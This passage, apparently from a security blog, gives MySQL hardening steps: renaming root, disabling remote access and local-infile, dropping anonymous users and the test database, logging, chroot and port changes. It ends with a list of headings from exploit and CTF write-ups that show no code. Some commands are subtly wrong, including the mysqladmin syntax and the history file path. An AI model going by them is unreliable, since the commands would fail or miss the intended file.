mysql> RENAME USER root TO new_user; // default username is root

To change (or update) a root password:

mysqladmin -u root -p oldpassword newpass

3) Confine or disable remote access:

Through TCP wrappers, iptables, or any other firewall software or hardware, it can be ensure that only defined hosts can access the server. To restrain the MySQL from opening a network socket, add “skip-networking” in the [mysqld] section of my.cnf or my.ini ( the file is found in /etc/mysql/my.cnf ) .

4) Disable unauthorized reading from local files:

Disable the LOAD DATA LOCAL INFILE command as this command can load a file located in the local host or in the server host, in certain cases this command can be used to load the file in which the password is stored. Disabling this will prevent unauthorized reading from local file. In binary distributions, all clients and libraries are compiled with the -enable-local-infile option.

To disable it, add the following to the MySQL configuration file:

set-variable=local-infile=0

5) Remove unwanted database user accounts:

When MySQL is installed, default anonymous user accounts are created, which doesn’t have passwords, which makes it easier for an anonymous user to log in to the server.

To remove the account, execute the following command:

MySQL> DROP USER ""; // MySQL version 5.0 and above

For older versions:

# MySQL -u root -p

MySQL> DELETE FROM mysql.user WHERE User = ”;

MySQL> FLUSH PRIVILEGES;

6) Remove unused database:

Default databases (test) comes pre-installed with MySQL, they should be removed if not necessary as otherwise unauthorized users can access sensitive information stored in this database. To remove this, use

MySQL> drop database test;

7) Lower system privileges:

To protect the databases, the file directory in which the MySQL directory is stored should be owned by the user “MySQL” and the group “MySQL”. Ensure that only the user “MySQL” and the user “root” have access to the directory var/lib/MySQL. Likewise, the MySQL binaries, which reside under the directory /usr/bin/ , should be owned by “root” or the specific system “MySQL” user. Other users shouldn’t have the access to write to these files.

8) Lower database privileges:

Only users who really need root privileges should be granted them, all the other user’s privileges should be reviewed. Anyone having access to the MySQL prompt can use the command “SHOW DATABASES”, can use it to gather data before attacking the database. To disable the usage of this command add the following to /etc/my.cnf

skip-show-database

9) Enable logging in mysql server:

To monitor critical events in a server enable the transaction logging by adding the following lines to the configuration file (/etc/my.cnf):

log= /var/log/logfile

Ensure only root and mysql have access to the logfile hostname.err and logfileXY. These files are stored in the mysql data directory.

10) Change the root directory:

Chroot is the process of changing the apparent disk root directory (and the current running process and its children) to another root directory. The write access of the MySQL processes can be limited by using the chroot environment.To make use of he database administrative tools convenient, add the following to the configuration file:

socket = /chroot/mysql/tmp/mysql.sock

11) Remove History:

During the installation, there is a lot of sensitive information that can assist an intruder to assault a database, this information is stored in the server’s history, they maybe of very good use during installation, but its not needed after the installation. The content of the history file (~/.mysql_history) should be removed, where all executed commands are stored (including password).

cat /dev/null > ~/mysql_history

12) MySQL should be run on non default port:

MySQL runs on a default port, and the connections should be changed to a different port otherwise, the port will be detected as open by a port scanner and an unauthorized user can get more information about the mysql server. The port can be changed from the configuration file (/etc/mysql), set the port to a different port rather than the default one.

By following these steps we can make the database immune to many of the attacks. We can limit the attack possibilities from users who visit our web servers with unfair intentions.

Diving deep into Jetbrains TeamCity Part 2 - Analysing CVE-2024-24942 leading to unauthenticated Path Traversal

Introduction

Understanding the Patch

Request Interceptors

Exploit

References:

Diving deep into Jetbrains TeamCity Part 1 - Analysing CVE-2024-23917 leading to Authentication Bypass

Introduction

Installing TeamCity

Decompiling the Jars

Architecture

Servlet Filters

Spring Interceptors

Understanding the Patch (CVE-2024-23917)

Authentication Bypass

Exploit

Analysing CVE-2023-51467 - Apache OFBiz Authentication bypass to Remote Code Execution

Introduction

Installing and Configuring OFBiz

Understanding the patch

Exploring checkLogin()

Exploring login() & bypassing authentication

Triggering the Vulnerability:

Architecture

ofbiz-component.xml

web.xml

controller.xml

Remote Code Execution

POC

References:

Dive deep into Android Application Security - OWASP MSTG Uncrackable level 1 writeup

Introduction

Decompiling into Java Source code

Root Detection:

Debuggable App:

Bypassing root detection with Repackaging

Leaking the secret with runtime instrumentation - Frida

References

From 4 sources to 3 sinks in DOM XSS - DomGoat level 1-10 (all levels) writeup

Introduction

Source:

Sink:

DomGoat

Level 1:

Level 2:

Level 3:

Level 4:

Level 5:

Level 6:

Level 7:

Level 8:

Level 9:

Level 10:

Note

Analysis and Exploitation of Prototype Pollution attacks on NodeJs - Nullcon HackIM CTF web 500 writeup

Introduction

Objects in javaScript

Functions/Classes in javaScript?

WTH is a constructor ?

Prototypes in javaScript

Prototype Pollution

Merge() - Why was it vulnerable?

References

Exfiltrating remote localStorage data with XSS - Insomnihack teaser 2017 "The Great escape part 2" web 200 writeup

Introduction

Challenge Description

Solution:

References

Exploiting internal tomcat server with SSRF - Insomnihack teaser 2017 Web 50 writeup

Introduction

Challenge Description:

Solution

References

eLearnSecurity Practical Web Defense (eWDP) course review

Introduction

Pre-requisites

Course

Hera Labs:

Exam

Conclusion

Remote Code Execution via Python import() - MMACTF 2016 Tsurai Web 300 writeup